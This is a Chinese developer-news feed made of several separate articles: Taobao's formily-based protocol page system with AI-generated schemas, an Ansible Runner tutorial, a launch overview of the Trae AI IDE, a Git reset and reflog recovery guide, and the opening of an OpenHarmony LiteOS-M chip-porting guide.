协议SDK用于初始化逻辑、获取数据、数据绑定、状态管理、渲染协议,从0开发协议SDK成本很高,可以复用formily这类开源协议化能力。


渲染协议:基于formily(一套前端表单解决方案),主要复用其协议化渲染能力,可以把JSON Schema协议渲染为表单,拓展一下把表单组件替换为其他组件,就可以实现页面UI组件渲染。


数据绑定:formily以组件为最小原子,以表单数据为整体状态。可以对整个表单赋值,按树结构的位置信息进行结构和数据一一绑定,是一种弱约定的数据绑定形式。这里沿用这种方式进行数据绑定,需要限制组件数据为相同的树结构下发。


协议SDK能力

formily SDK

初始化逻辑

不支持

获取数据

不支持

数据绑定

支持

状态管理

不支持

渲染协议

支持

formily已经支持了协议化页面核心的页面渲染能力,可以在formily基础上去拓展协议SDK不支持的能力实现完整的协议SDK功能。

1. 添加页面初始化逻辑

2. 从接口获取数据(约束接口格式)

3. 添加状态管理


采用基于formily SDK+初始化逻辑+数据获取+状态管理可以组合实现协议SDK能力。


  • 页面协议


页面协议用于描述页面元素,采用formily最小颗粒度的组件维度来描述;下发动态数据,包括页面数据,组件初始配置(扩展),分别用于初始化页面和组件;根据平台接入方后台服务不同,需提供数据格式处理(扩展),在不同场景采用不同数据格式处理。


页面协议能力

formily Schema协议

元素结构树--组件结构树

支持

元素样式树--组件样式树

支持

事件触发逻辑

不支持

组件联动逻辑

支持

页面数据--组件数据

不支持

组件初始配置(扩展)

不支持

数据格式处理(扩展)

不支持

在formily中协议仅支持描述元素结构、元素样式和组件联动逻辑,要描述整个页面还需要扩展一些能力:

1. 事件触发逻辑

    1. 复杂事件和浏览器事件,需扩展协议描述相关事件的触发和执行逻辑(约束协议格式)

    2. 简单事件,由于formily协议支持组件联动逻辑,则可以把触发和执行的行为都转换为数据驱动,通过行为依赖数据,监听其他数据变化后更改数据实现行为变更,比如某个组件的状态切换,展示\隐藏等

2. 组件数据

3. 组件初始配置

4. 数据格式处理(用于服务端处理不同场景)


其中B端运营配置平台大多都是简单事件,所以可以采用数据驱动方式简化。

采用基于formily协议+组件数据+组件初始配置+数据格式处理+数据驱动事件来组合实现页面协议能力。


  • 完整协议页面


有了页面协议+协议SDK,就可以实现协议页面的能力了。但还是需要组件级能力复用,所以需要提供协议组件库,用于协议中描述元素,并且以组件维度封装功能。


协议组件库根据组件功能类型,可分为展示类、操作类、输入类。

基于formily,采用页面协议+协议SDK+协议组件库组合,比从0搭建协议页面减少了很多工作量,也实现了完整的协议页面。


  • 页面联动


能够采用协议描述单个页面后,就需要添加多个页面之间的联动交互,B端运营配置平台一般有三种页面之间交互方式:

1. 跳转新页面,点击导航栏或者链接跳转

2. 在屏幕居中modal弹窗打开一个页面

3. 在屏幕右侧方drawer弹窗打开一个页面


1. 导航 or 链接跳转

    1. 需要提供导航路由协议机制,下发路由协议,路由跳转联动导航栏切换

    2. 提供链接跳转功能按钮

2. modal or drawer弹窗

    1. 支持触发打开modal or drawer弹窗

    2. 弹窗中间加载一个新的页面


所以需要支持额外的路由协议,以及行为触发页面交互,在B端运营配置平台场景基本都是由按钮来触发页面交互的,所以可以在按钮组件上集成链接跳转、弹窗打开新页面等能力。


  整体架构


协议化方案是由协议层控制整个产品路由展示和页面展示,由颗粒度从大到小分为几个部分:

1. 路由协议,由协议控制导航栏和页面之间跳转

2. 页面协议,用于渲染页面,展示对应数据,描述页面逻辑

3. 协议组件库,最小原子能力,用于协议调用


还有额外的工具层用于生成页面协议,目前有两种方式:

1. 后端工具生成协议

2. AI工具生成协议


  当前阶段研发流程

在需求文档到页面协议转换过程中,采用大模型转换页面协议,依附AI生长,具备了AI成长性


其中前端SDK需要在这个模式运行过程中,不断完善支持新功能,类似搭积木一样,积木不断堆叠后,已有功能都能由协议直接调用,具备了功能成长性

  运行图

AI提效


  表单页面

完整流程


1.0 AI生成表单协议

最初的版本是完全采用AI生成表单协议,通过prd生成一套formily JSON Schema协议来进行渲染。

优点:把前端相关部分都由AI来生成,可以减少前端工作量;

缺点:平台主要用户为服务端同学,对协议内容和结构不太理解,他们拿到生成的schema协议后,进行一些组件属性或者组件结构修改很复杂,并且没有编码IDE提示,浪费了程序员的代码优势。


适合场景:简单表单场景,非代码用户(比如产品、设计);复杂表单场景,前端用户。


2.0 后端工具生成表单协议,AI优化组件功能

协议生成流程:

1. 采用后端java代码描述表单,通过java的类进行属性限制和备注,然后用java工具本地运行生成一份基础formily JSON Schema协议

2. 采用AI优化组件前端相关的能力(比如调整样式,合并信息框、添加组件联动等)


优点:发挥服务端同学的代码优势,用最擅长的代码描述表单协议结构,不擅长的前端部分采用AI处理,前端工作量降低

缺点:整体链路变长,需后端接入

适合场景:复杂表单场景、服务端用户


使用流程


1. 添加需要优化的schema和优化需求


2. 把生成的协议拿到预览地址,贴在schema协议,进行预览

方案对比:

1.0 AI生成协议

2.0 后端JAVA生成协议,AI优化

使用场景

简单表单场景、复杂表单场景

复杂表单场景

服务用户

简单表单场景,非代码用户(比如产品、设计);

复杂表单场景,前端用户

复杂表单场景,服务端用户

优点

减少前端工作量

减少前端工作量,发挥服务端同学代码优势

缺点

非前端用户无法直接修改生成的协议,浪费了代码优势

整体链路加长,需后端介入


  表格页面


表格页面可以拆分成不同的组件分别描述,整个页面都可以采用AI生成协议。

  • 使用流程


1. 需要输入相应表格配置的描述

1. 表名(必填2. 左上角按钮3. 右上角按钮4. 是否开启关键词搜索5. 高级搜索配置6. 提示(灰色)7. 强提示(红色)8. 是否开启分页9. 表头配置(必填10. 操作列配置11. 是否开启表头隐藏12. 是否展示总计内容

2. 拿到生成的表格协议后到页面预览


案例--高级搜索配置、表头配置、表头隐藏、总计


输入

1. 表名(必填)需求信息管理2. 左上角按钮 无3. 右上角按钮 无4. 是否开启关键词搜索 否5. 高级搜索配置    1. date,日期选择框    2. type需求类型,下拉框,选项有全部、数据不全需求、业务、平台、xx需求    3. id需求ID,输入框6. 提示(灰色)7. 强提示(红色)8. 是否开启分页 是9. 表头配置(必填)     1. 需求名称,点击后跳转"https://xxx",携带列表参数url    2. 产品树    3. 前端人日    4. 后端人日    5. 测试人日    6. 总人日    7. 完成时间    8. 状态10. 操作列配置    1. 编辑,点击后打开模态框,"schemaKey"为"modifySchema",保存地址"/demand/save"11. 是否开启表头隐藏 是12. 是否展示总计内容 是,展示总计、总人日、PD人日、后端人日、测试人日、其他人日

AI输出:

{  "pageType": "table",  "pageView": {    "name": "需求信息管理",    "initParams": {      "modifySchema": ""    },    "detailOperate": [],    "rightButton": [],    "tips": null,    "strongTips": null,    "filterSearch": [      {        "key": "date",        "label": "日期",        "component": "DatePickerWithOptions",        "componentProp": {          "options": [            {              "label": "周",              "value": "周"            },            {              "label": "月",              "value": "月"            },            {              "label": "季",              "value": "季"            },            {              "label": "年",              "value": "年"            }          ]        }      },      {        "key": "type",        "label": "需求类型",        "component": "Select",        "componentProp": {          "options": [            {              "label": "全部",              "value": "全部"            },            {              "label": "数据不全需求",              "value": "数据不全需求"            },            {              "label": "业务",              "value": "业务"            },            {              "label": "平台",              "value": "平台"            },            {              "label": "xx需求",              "value": "xx需求"            }          ]        }      },      {        "key": "id",        "label": "需求ID",        "component": "Input",        "componentProp": null      }    ],    "hideSearch": true,    "enablePagination": true,    "total": null,    "tableSource": {      "header": [        {          "key": "name",          "title": "需求名称",          "clickEvent": {            "type": "jump",            "path": "https://xxx",            "params": [              "url"            ]          }        },        {          "key": "productTree",          "title": "产品树"        },        {          "key": "frontendPerson",          "title": "前端人日",          "sorter": true        },        {          "key": "backendPerson",          "title": "后端人日",          "sorter": true        },        {          "key": "testPerson",          "title": "测试人日",          "sorter": true        },        {          "key": "totalPerson",          "title": "总人日",          "sorter": true        },        {          "key": "finishTime",          "title": "完成时间",          "sorter": true        },        {          "key": "status",          "title": "状态"        },        {          "key": "operate",          "title": "操作",          "map": {            "edit": {              "type": "schemaButton",              "text": "编辑",              "buttonConfig": {                "title": "编辑",                "type": "link",                "path": "/demand/save",                "behavior": "modal",                "schemaKey": "modifySchema"              }            }          }        }      ],      "scenes": [        {          "name": "示例需求1",          "productTree": "产品树1",          "frontendPerson": 5,          "backendPerson": 10,          "testPerson": 3,          "totalPerson": 18,          "finishTime": "2023-10-01",          "status": "已完成",          "operate": null,          "url": "example_url_1"        },        {          "name": "示例需求2",          "productTree": "产品树2",          "frontendPerson": 8,          "backendPerson": 15,          "testPerson": 5,          "totalPerson": 28,          "finishTime": "2023-10-15",          "status": "进行中",          "operate": null,          "url": "example_url_2"        }      ],      "showHiddenCheckBox": true,      "summary": [        "总计",        "总人日: xx",        "PD人日: xx",        "后端人日: xx",        "测试人日: xx",        "其他人日: xx"      ]    }  }}


助力运营平台


  背景

顺手买需要在双十一前支持顺买商品运营,其中包含商品运营平台和千牛后台商家端改造。需求比较着急需要赶双十一节奏,在排期爆满的阶段,突然插入一个紧急需求,这种酸爽相信大家都懂~


以下是运营平台的工作流程:


为了快速上线,以及后续让顺买同学自己维护这个平台页面,就采用了在交易产品中心协议化的方式接入该产品。


前端主要需要投入一些新功能的开发,包含Select请求组件、文件导入、批量操作、图片上传、新增SKU弹窗、列表头部、二次确认按钮,这些能力。类似的功能后续接入时,就不再需要前端投入了。


  上线效果

商品总览页面:

支持文件批量导入、批量操作表单:

商品审核页面:

后续页面调整,包含按钮、筛选项、展示内容或者表单操作等,都可以由业务服务端同学通过直接改协议实现,无需前端参与。



   
   
   
后续发展


在这套体系建全后,可以大幅减少前端工作量。后续仅需要针对新功能、新组件的进行开发,类似于搭积木一样能力越来越多的时候,需要开发的部分就越来越少;已有能力都能直接由协议去调用,前端理论上可以达到一劳永逸的效果。


目前一些交易产品在持续接入,前端已经无需投入,甚至无需感知。由服务端同学根据协议去构建页面,减少了前端很多工作量。


但是有一个隐患是已有功能越来越多,维护成本越来越高,页面共用组件代表对页面组件的任何修改都可能影响所有复用页面。积木搭的越高,后面搭建工作就会越来越难,所以搭建之初就需要一个稳定的基座。


AI点灯的未来


未来会在更多场景尝试把重复劳动包含的任务和解决方案都抽象为文本,然后用AI去处理文本,以此来对场景提效。有兴趣的朋友也可以尝试一下~


团队介绍


我们是淘天集团-基础交易终端团队,一支专注于手淘APP交易域(购物车、下单、订单、物流等)业务研发和体验优化的技术团队,并且负责集团内部AI应用搭建的AI Studio平台。在丰富的业务场景下,我们通过持续的技术探索、不断的创新突破,给数亿用户提供极致可靠的交易保障、极致流畅的操作交互以及极致顺滑的购物体验。另外基于AI Studio平台资源沉淀,按照电商标准环节进行拆解,同时针对典型场景支撑最佳AI实践,让集团内业务团队利用AI能力低成本实现业务效果。





¤  拓展阅读  ¤

3DXR技术 |  终端技术 |  音视频技术

服务端技术 | 技术质量 | 数据算法




本文分享自微信公众号 - 大淘宝技术(AlibabaMTT)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

by 原创 at January 20, 2025 09:15 AM

juejin backend

Ansible Runner:使用 Python 代码运行 Ansible

Ansible Runner是一个 Python 模块,允许您从 Python 代码运行 Ansible playbook。它提供可直接导入和使用的与 Ansible 交互的 API

在 Python 中,处理 Ansible 的一种方法是使用诸如**subprocess**或 之类的模块来调用它**os.system**。Ansible Runner提供了一种更“ Python 化”的方式来执行此操作,即提供用于运行 Ansible 剧本的 Python API。它还“公开了一些帮助程序接口”,允许您提供
推荐的输入来启动 Runner 进程。在这里,我将回顾如何使用Ansible Runner运行 临时 Ansible命令和playbook**。

ansible_runner.运行

让我们从一个简单的 Ansible ad hoc 命令开始。我们将使用该模块从 CLI ping ping inventory.yml文件中的所有主机:

ansible -i inventory.yml all -m ping

使用 Ansible Runner 执行相同操作的方法如下:

#!/usr/bin/env python3
import ansible_runner

r = ansible_runner.run(
    inventory='inventory.yml',
    module='ping',
    host_pattern='all'
)

首先要导入**ansible_runner**模块。然后我们调用函数,然后我们可以传递所需的参数来复制我们使用 CLI 命令执行的相同操作。按照文档,我们选择了inventorymodulehost_pattern参数。 run

要运行剧本,我们必须使用剧本功能。其 CLI 命令如下:

ansible-playbook -i inventory.yml all playbook.yml

等效的 Ansible Runner 命令是:

#!/usr/bin/env python3
import ansible_runner
    
r = ansible_runner.run(
    inventory='inventory.yml',
    playbook='playbook.yml',
    host_pattern='all',
    extravars={
        'ansible_user': 'user',
        'ansible_password': 'password'
    }
)

默认情况下,ansible_runner.run**quiet**在控制台中显示标准输出和标准错误。可以通过将参数设置为来关闭此功能**True**。另请注意,在这种情况下,extravars参数将字典作为输入。文档解释了每个参数所需的数据类型。

ansible_runner.runner.Runner 对象

该**run函数** 返回一个**Runner**对象,我们将其存储在**r** 变量中。以下是该对象的属性列表**Runner** :

  • r.status: 表示执行状态的字符串。如果执行成功,状态将为“成功”。如果执行失败,状态将为“失败”。
  • r.rc:执行的返回代码的整数。如果执行成功,返回代码将为 0。如果执行失败,返回代码将为 1。
  • r.stdout:带有执行的标准输出的字符串。
  • r.stderr: 包含执行的标准错误的字符串。

这样可以轻松检查执行是否成功:

if r.status == 'successful':
    print('The execution was successful')
else:
    print('The execution failed')

by 轻松Ai享生活 at January 20, 2025 09:10 AM

juejin frontend

今日,字节发布全新 AI IDE:Trae!它将成为最懂中文开发者的 IDE

前言

今日,字节发布了一款 AI Coding 产品 —— Trae,它是一款对标 Cursor 和 Windsurf 的全新 IDE,也是一款真正为中文开发者量身定制的工具,可谓是中文开发者的福音。

其优雅的 UI、丝滑的交互、母语级的支持、更高的 AI 集成度、更‮然自‬的交‮式互‬对话开发、更‮‬精准的 AI 生‮效成‬果,都让你感到亲切和惊艳!

它不再是一个工具,而是一个能 “思考” 和 “共创” 的协作者,帮助你更灵活的调用 AI 参与项目,实现更高效率、更好效果的开发体验。

目前 Trae 内置 BuilderChat 两种模式:

  1. Builder 模式:只需要告诉 AI 你想要什么样的应用,它会轻松完成从零到一的项目构建
  2. Chat 模式:AI 将理解当前代码,你可以随时提出问题、寻求建议。此外也支持编辑器内实时提供建议代码

Trae 底层集成了国外主流的大模型 Claude 3.5 和 GPT-4o,目前免费使用中。

无论是专业开发者还是新手开发者,都能体验到 Trae 带来的效率提升。

下载体验地址:trae.ai

接下来我将详细地为大家介绍 Trae 的功能。

安装设置

从官网 trae.ai 下载安装后,首次打开会进入设置界面:

然后是主题和语言设置。主题支持暗色、亮色、深蓝。语言支持简体中文和英文,这次终于不需要安装汉化插件了。

Trae 支持从 VS Code 或 Cursor 导入配置,它会将插件、设置、按键绑定同步到 Trae,实现 IDE 的无缝切换:

Trae 也提供了自己的 trae 命令:

安装后可以通过:

  • trae:快速启动 Trae
  • trae my-react-app:在 Trae 中打开一个项目

最后一步是登录,可使用 GitHub、Google 账号三方登录,也可以使用 Trae 账号登录,这步跳过也行:

强大的 AI 功能

Trae 包含了基本的 IDE 功能如代码编写、项目管理、插件管理、版本控制等。

这些功能想必大家已经很熟悉了,所以我们重点介绍其强大的 AI 助手功能,包括:

  • **AI 问答:**在编码过程中,你随时可以与 AI 助手聊天寻求帮助,包括让 AI 助手解释代码、编写代码注释、修复错误等。
  • **实时代码建议:**AI 助手将理解当前代码并在编辑器内实时提供建议代码。
  • **代码片段生成:**用自然语言向 AI 助手描述你的需求,它将生成相应的代码片段或自主编写项目级和跨文件的代码。
  • **从 0 到 1 项目开发:**告诉 AI 助手你想开发什么样的程序,它将提供相应的代码或根据你的描述自动创建相关文件。

具体体现为编辑器右侧的BuilderChat 两种模式:

其中:

  1. Builder 模式:只需要告诉 AI 你想要什么样的应用,它会轻松完成从零到一的项目构建
  2. Chat 模式:AI 将理解当前代码,你可以随时提出问题、寻求建议。此外也支持编辑器内实时提供建议代码

Builder 模式

Builder 模式可以帮助您从 0 到 1 开发一个完整的项目。

在 Builder 模式下,AI 助手将主动读取当前项目文件的内容,分解任务,并逐步执行它们。包括:

  1. 提取相关上下文
  2. 创建或修改文件
  3. 生成和运行命令
  4. 分析命令执行状态

而你只需要在右下角的聊天输入框输入您的需求即可,支持添加上下文,支持输入多种类型的内容,比如设计草稿、参考样式等等。

你只需要和 AI 进行交互即可快速创建项目:

根据你的需求,AI 助手将自动生成代码更改,包括创建新文件和编辑现有文件中的代码,你可以接受或者拒绝修改:

当 AI 助手完成了你的需求,它将提供一个预览按钮。点击此按钮将打开一个 Webview 窗口展示结果:

Chat 模式

在日常开发中可以使用 Chat 模式,它可以回答代码问题、解释代码、生成代码片段、修复错误等,只要你提出要求。

让我们看下实际效果:

聊天中生成的代码你可以将其应用到项目中:

除了侧边栏,你也可以在编辑器中使用内联的聊天框。使用快捷键 Command + I,或者选择任何代码,然后使用快捷键 Command + I 或单击浮动菜单中的 Edit 按钮:

当有报错提示的时候,也可以进行 AI 修复,实际效果演示:

Trae 还有更多的细节值得发现,可以参考其官方文档:docs.trae.ai/docs/what-i…

总结

在 Cursor、Windsurf 等海外 AI IDE 盛行的当下,这款国内开发者开发的 AI IDE 无疑会成为一款更懂中国开发者的工具,所以未来可期。目前看来,它跟 Cursor 几乎一样强大。无论是专业开发者还是新手开发者,都能体验到 Trae 带来的效率提升。

那就快来体验一下吧。下载体验地址:trae.ai

by 冴羽 at January 20, 2025 09:04 AM

juejin freebie

【Git 篇】 让代码回到某一次提交,然后再取消这次操作,该怎么做

一、想让代码回到某一次提交, 然后再取消这次操作

想必都没遇到过这种情况,下面阐述一下这个过程: 如果想将代码回到某一次提交,同时将当前本地的代码进行备份,可以通过以下步骤来实现。这样既能恢复到目标提交,也能确保当前的代码不会丢失。

具体步骤:

  1. 创建当前代码的备份分支: 在回到某个提交之前,首先创建一个新的分支来保存当前的代码:

    git checkout -b backup-branch
    

    这会创建并切换到一个新分支 backup-branch,其中包含了当前的代码状态。

  2. 切换回 Develop(或你想操作的分支) : 切换回原来的分支,例如 Develop

    git checkout Develop
    
  3. 使用 git reset 回到某个提交: 如果你想让代码回到某个历史提交,可以使用 git reset。假设你想回到某个提交 commit_hash

    git reset --hard <commit_hash>
    
    • --hard:将工作区、暂存区和本地分支都回退到指定的提交。
    • 注意:这会丢弃当前工作区和暂存区的更改,所以在回退之前,确保已经备份了你的更改。
  4. (可选)推送更改到远程仓库: 如果需要将这些更改推送到远程仓库,使用以下命令(请谨慎操作):

    git push --force
    
  5. 恢复到原来状态(如果需要) : 如果你想要恢复到原来的状态,可以切换回备份分支:

    git checkout backup-branch
    

    然后如果需要,你可以选择将这些更改重新合并回主分支。

示例:

假设你当前分支是 Develop,并且想回到 commit_hash 这个提交:

  1. 创建备份:

    git checkout -b backup-branch
    
  2. 切换回 Develop

    git checkout Develop
    
  3. 重置回目标提交:

    git reset --hard <commit_hash>
    
  4. 如果你需要推送更改:

    git push --force
    
  5. 如果要恢复备份分支的内容:

    git checkout backup-branch
    

总结:

  • 通过在回退之前创建一个备份分支,你可以安全地回到目标提交,并且保留当前的代码状态。
  • 使用 git reset --hard 会丢失当前工作区的更改,因此要确保已经备份。

二、执行git reset --hard <commit_hash> 命令之后, 怎么取消操作?

git reset --hard <commit_hash> 命令会将你的工作目录、暂存区和当前分支的指针都重置到指定的提交,并且 会丢失所有未提交的更改。一旦执行这个命令,它会改变你的代码历史,且通常无法直接撤销,除非你有一些备份或 Git 提供的机制。

如果你想撤销 git reset --hard 的操作,可以尝试以下几种方法:

1. 如果你没有做 git push --force 并且没有关闭 Git

如果你没有将更改推送到远程,并且还没有关闭 Git 会话,可以通过 git reflog 找回之前的状态。

步骤:
  1. 查看 refloggit reflog 会显示你最近的所有操作(包括 reset)。

    git reflog
    

    它会列出类似如下的内容:

    1d72f98 HEAD@{0}: reset: moving to <commit_hash>
    a9b15f2 HEAD@{1}: commit: fix issue with globalnav
    342d73d HEAD@{2}: commit: feature update
    ...
    
  2. 找到你想恢复的提交: 在 reflog 输出中,找到你 reset 之前的提交,例如 HEAD@{1},它通常表示你最近的提交历史。

  3. 恢复到之前的提交: 执行以下命令,将你的 HEAD 恢复到你想要的历史提交:

    git reset --hard HEAD@{1}
    

    这会将你的代码恢复到 reset 操作之前的状态。

2. 如果已经 push 了更改

如果你已经推送到远程仓库,并且你想恢复到执行 reset --hard 之前的状态,有两种可能的解决方案:

方案 1:通过 reflog 恢复

你可以按照上述步骤使用 git reflog 查找你推送之前的 commit,然后将其重置回去。

方案 2:强制推送恢复

如果你使用的是 git push --force 强制推送到远程仓库,并且想恢复到之前的提交,方法类似:

  1. 通过 git reflog 找到你想恢复到的提交。
  2. 使用 git reset --hard <commit_hash> 恢复到该提交。
  3. 使用 git push --force 将更改推送到远程仓库。

警告:强制推送可能会覆盖远程仓库的历史,并影响其他协作开发者,只有在非常必要时才使用。

3. 如果没有备份且没有执行 reflog

如果没有使用 reflog备份,而且你执行了 git reset --hard 并且没有办法恢复,那你可能无法直接恢复这些丢失的更改。这时可以考虑通过其他方式找回(例如代码编辑器的历史记录、IDE 的版本管理功能等)。

总结:

  • git reflog 是恢复最近操作的最强工具。它可以让你找到被 git reset --hard 覆盖的提交,并恢复到那个提交。
  • 谨慎使用 git reset --hard,它会丢失工作区的所有更改,因此在执行之前要确保你已经备份了必要的文件。

by 曼陀罗 at January 20, 2025 08:47 AM

juejin backend

OpenHarmony(鸿蒙南向开发)——轻量系统芯片移植案例(一)

轻量带屏解决方案之恒玄芯片移植案例

本文章基于恒玄科技BES2600W芯片的欧智通 Multi-modal V200Z-R开发板 ,进行轻量带屏开发板的标准移植,开发了智能开关面板样例,同时实现了ace_engine_litearkui_ui_liteaafwk_liteappexecfwk_liteHDF等部件基于OpenHarmony LiteOS-M内核的适配。移植架构上采用BoardSoC分离的方案,工具链Newlib C库与Musl C库可选,LiteOS-M内核编译采用gn结合Kconfig图形化配置等需求。

编译构建

目录规划

本案例在芯片移植架构方面进行了一些改进,以前的芯片适配目录规划为:

device
└── <device_company>
    └── <device_name>

这样会导致,小熊派BearPi-HM Nano开发板与润和的HiSpark Pegasus开发板使用小海思的hi3861SoC时,需要在这两款开发板里面都放置一份重复的代码。为了解决该问题,本案例将单板厂商与SoC厂商进行分离,可以参考 Board和SoC解耦的设计思路 ,并把芯片适配目录规划为:

device
├── board                                --- 单板厂商目录
│   └── fnlink                           --- 单板厂商名字:欧智通
│       └── v200zr                       --- 单板名:v200zr
└── soc --- SoC厂商目录
    └── bestechnic                       --- SoC厂商名字:恒玄
        └── bes2600 --- SoC Series名:bes2600是一个系列,里面包含bes2600w等SoC名

产品样例目录规划为:

vendor
└── bestechnic --- 开发产品样例厂商目录,恒玄开发的带屏样例,因此以bestechnic命名
    └── display_demo          --- 产品名字:以智能开关面板的带屏显示样例

预编译适配

在进行移植之前,需要进行预编译适配。

预编译适配主要使用hb set命令,设置整个项目的根目录、单板目录、产品目录、单板公司名等环境变量,为编译做准备。

具体的预编译适配步骤如下:

  1. vendor/bestechnic/display_demo目录下新增config.json文件,用于描述这个产品样例所使用的单板、内核等信息,描述信息可参考如下内容:
{
  "product_name": "display_demo",       --- 用于hb set进行选择时,显示的产品名称
  "type": "mini",                       --- 构建系统的类型,mini/small/standard
  "version": "3.0",                     --- 构建系统的版本,1.0/2.0/3.0
  "device_company": "fnlink",           --- 单板厂商名,用于编译时找到/device/board/fnlink目录
  "board": "v200zr",                    --- 单板名,用于编译时找到/device/board/fnlink/v200zr目录
  "kernel_type": "liteos_m",            --- 内核类型,因为OpenHarmony支持多内核,一块单板可能适配了多个内核,所以需要指定某个内核进行编译
  "kernel_version": "3.0.0",            --- 内核版本,一块单板可能适配了多个linux内核版本,所以需要指定某个具体的内核版本进行编译
  "subsystems": [ ]                     --- 选择所需要编译构建的子系统
}

2. 在device/board/fnlink/v200zr/liteos_m目录下新增config.gni文件,用于描述这个产品样例所使用的单板、内核等信息,描述信息可参考如下内容:

# Kernel type, e.g. "linux", "liteos_a", "liteos_m".
kernel_type = "liteos_m"                --- 内核类型,跟config.json中kernel_type对应

# Kernel version.
kernel_version = "3.0.0"                --- 内核版本,跟config.json中kernel_version对应

3. 验证hb set配置是否正确,输入hb set能够显示如下图片表示配置正确。

执行hb set输入项目根目录,并且回车,hb命令会遍历所有//vendor/<product_company>/<product_name>目录下的config.json,给出可选产品编译选项,config.jsonproduct_name用于显示产品名,device_companyboard用于关联出//device/board/<device_company>/<board>目录,并且匹配<any_dir_name>/config.gni文件,如果能够匹配多个文件,表示该单板适配了多个内核,那么可以根据config.jsonkernel_typekernel_version来唯一匹配config.gnikernel_typekernel_version,即可确定了需要编译适配了哪个内核的单板。

     通过`hb env`可以查看选择出来的预编译环境变量。

在执行hb build之前,需要准备好LiteOS-M内核适配,具体适配步骤请参 内核移植。

内核移植

内核移植需要完成LiteOS-M Kconfig适配、gn的编译构建和内核启动最小适配。

LiteOS-M Kconfig适配

//kernel/liteos_m目录下执行make menuconfig命令,完成编译配置选项的选择。在Makefile文件中,会将hb env的结果转换成环境变量,即PRODUCT_PATHDEVICE_PATHBOARD_COMPANY。如下代码块所示:

$(foreach line,$(shell hb env | sed 's/\[OHOS INFO\]/ohos/g;s/ /_/g;s/:_/=/g' || true),$(eval $(line)))
ifneq ($(ohos_kernel),liteos_m)
$(error The selected product ($(ohos_product)) is not a liteos_m kernel type product)
endif
--- 将hb env的每一行输出转化为变量形式,例如将[OHOS INFO] device company: fnlink转换为ohos_device_company=fnlink

……

ifeq ($(BOARD_COMPANY),)
BOARD_COMPANY:=$(ohos_device_company)
endif
……
export BOARD_COMPANY
--- 将ohos_device_company转化为BOARD_COMPANY环境变量

//kernel/liteos_m/Kconfig文件中使用这些导出的环境变量,Kconfiglib采用ulfalizer开发基于python的版本,源码地址功能介绍连接参考,里面用到了orsource关键字,其中o表示optional,表示这个文件是否存在可选,r表示relative,表示这个文件相对当前文件的相对路径。

config SOC_COMPANY
    string "SoC company name to locate soc build path"
    help
      This option specifies the SoC company name, used to locate the build path for soc. This option is set by the
      SoC's Kconfig file, and should be exactly the same with SoC company path, and the user should generally avoid
       modifying it via the menu configuration.

orsource "../../device/board/*/Kconfig.liteos_m.shields"                                 --- 将所有扩展板配置信息加载进来,因为单板厂商A提供扩展板可以给单板厂商B使用,所以这里使用*匹配所有的扩展板,而非BOARD_COMPANY。另外由于OpenHarmony支持多内核设计,Kconfig文件采用liteos_m作为后缀,在进行单板适配过程中,其他内核在适配过程中,可以使用对应的内核名作为后缀名进行扩展。

orsource "../../device/board/$(BOARD_COMPANY)/Kconfig.liteos_m.defconfig.boards"         --- 加载BOARD_COMPANY的所有单板预定义配置

choice
    prompt "Board Selection"

orsource "../../device/board/$(BOARD_COMPANY)/Kconfig.liteos_m.boards"                   --- 提供Board选择列表

endchoice

orsource "../../device/soc/*/Kconfig.liteos_m.defconfig"                                 --- 加载所有SoC的默认配置定义

choice
    prompt "SoC Series Selection"

orsource "../../device/soc/*/Kconfig.liteos_m.series"                                    --- 提供所有SoC Series选择列表

endchoice

orsource "../../device/soc/*/Kconfig.liteos_m.soc"                                       --- 加载所有SoC配置

//kernel/liteos_m/Kconfig文件可以看出需要在//device/board/fnlink目录下新增如下Kconfig文件进行适配:

├── v200zr                                       --- v200zr单板配置目录
│   ├── Kconfig.liteos_m.board                   --- 提供v200zr单板的配置选项
│   ├── Kconfig.liteos_m.defconfig.board         --- 提供v200zr单板的默认配置项
│   └── liteos_m
│       └── config.gni
├── Kconfig.liteos_m.boards                      --- 提供fnlink单板厂商下Boards配置信息
├── Kconfig.liteos_m.defconfig.boards --- 提供fnlink单板厂商下Boards默认配置信息
├── Kconfig.liteos_m.shields --- 提供fnlink单板厂商下扩展板配置信息
└── shields --- fnlink单板厂商的扩展板目录
    ├── v200zr-t0 --- fnlink单板厂商的扩展板v200zr-t0
    │   ├── Kconfig.liteos_m.defconfig.shield --- 扩展板v200zr-t0默认配置
    │   └── Kconfig.liteos_m.shield --- 扩展板v200zr-t0配置信息
    ├── v200zr-t1
    │   ├── Kconfig.liteos_m.defconfig.shield
    │   └── Kconfig.liteos_m.shield
    └── Kconfig.liteos_m.shields

在 v200zr/Kconfig.liteos_m.board需要配置选择该单板的选项,以及它依赖的SoC,如下:

config BOARD_v200zr
    bool "select board v200zr"
    depends on SOC_BES2600W --- v200zr单板用的bes2600w的SoC,只有 bes2600w的SoC被选择后,v200zr单板配置选项才可见,可以被选择。

在 v200zr/Kconfig.liteos_m.defconfig.board需要配置选择该单板后,默认定义 BOARD 的名字为 "v200zr" ,如下:

if BOARD_v200zr
config BOARD
    string --- string后没有带提示,因此用户不可见
    default "v200zr"

endif # BOARD_v200zr

//kernel/liteos_m/Kconfig文件可以看出需要在//device/soc/bestechnic目录下新增如下Kconfig文件进行适配:

.
├── bes2600 --- bes2600 SoC系列
│   ├── Kconfig.liteos_m.defconfig.bes2600w --- bestechnic芯片厂商bes2600w SoC Series配置
│   ├── Kconfig.liteos_m.defconfig.series --- bestechnic芯片厂商bes2600默认配置
│   ├── Kconfig.liteos_m.series --- bestechnic芯片厂商bes2600 SoC Series配置
│   └── Kconfig.liteos_m.soc --- bestechnic芯片厂商bes2600 SoC配置
├── Kconfig.liteos_m.defconfig --- bestechnic芯片厂商SoC默认配置
├── Kconfig.liteos_m.series --- bestechnic芯片厂商SoC Series配置
└── Kconfig.liteos_m.soc --- bestechnic芯片厂商 SoC配置

在 bes2600/Kconfig.liteos_m.series 需要配置bes2600 SoC series,以及它的芯片架构等信息,如下:

config SOC_SERIES_BES2600 --- 提供bes2600 SoC Series选项
    bool "Bestechnic 2600 Series"
    select ARM --- 选择bes2600后,默认选择ARM架构
    select SOC_COMPANY_BESTECHNIC    --- 选择bes2600后,默认选择bestechnic芯片公司,驱动会依赖这个宏配置,选择配置编译对应厂商的驱动
    select CPU_CORTEX_M33 --- 选择bes2600后,默认选择cortex-m33 CPU
    help
        Enable support for Bestechnic 2600 series

在 bes2600/Kconfig.liteos_m.soc 需要提供bes2600 SoC series下有多少个具体的SoC可供选择,如下:

choice
